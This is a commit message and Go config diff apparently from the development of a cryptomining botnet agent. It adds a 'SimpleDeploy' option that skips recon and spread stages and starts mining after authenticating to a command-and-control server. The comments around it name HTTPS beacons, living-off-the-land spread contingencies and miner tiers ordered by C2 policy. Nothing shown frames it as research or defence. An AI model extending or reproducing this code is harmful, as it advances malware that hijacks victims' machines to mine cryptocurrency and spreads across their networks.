Add simple Deploy and Mine path for operators without spread complexity.

Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.

agent/config/config.go

@@ -113,6 +113,9 @@ type BuiltinConfig struct {
 	// HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3).
 	HTTPSBeaconAfterMin int
 
+	// SimpleDeploy skips triple-onion recon/deploy and starts mining tier chain after C2 auth.
+	SimpleDeploy bool
+
 	// LOTL Onion — ordered native-tool spread contingencies (no extra miner exe drop).
 	LotlOnionEnabled     bool
 	LotlPolicyFromServer bool     // when true, tier order is pulled from C2 on auth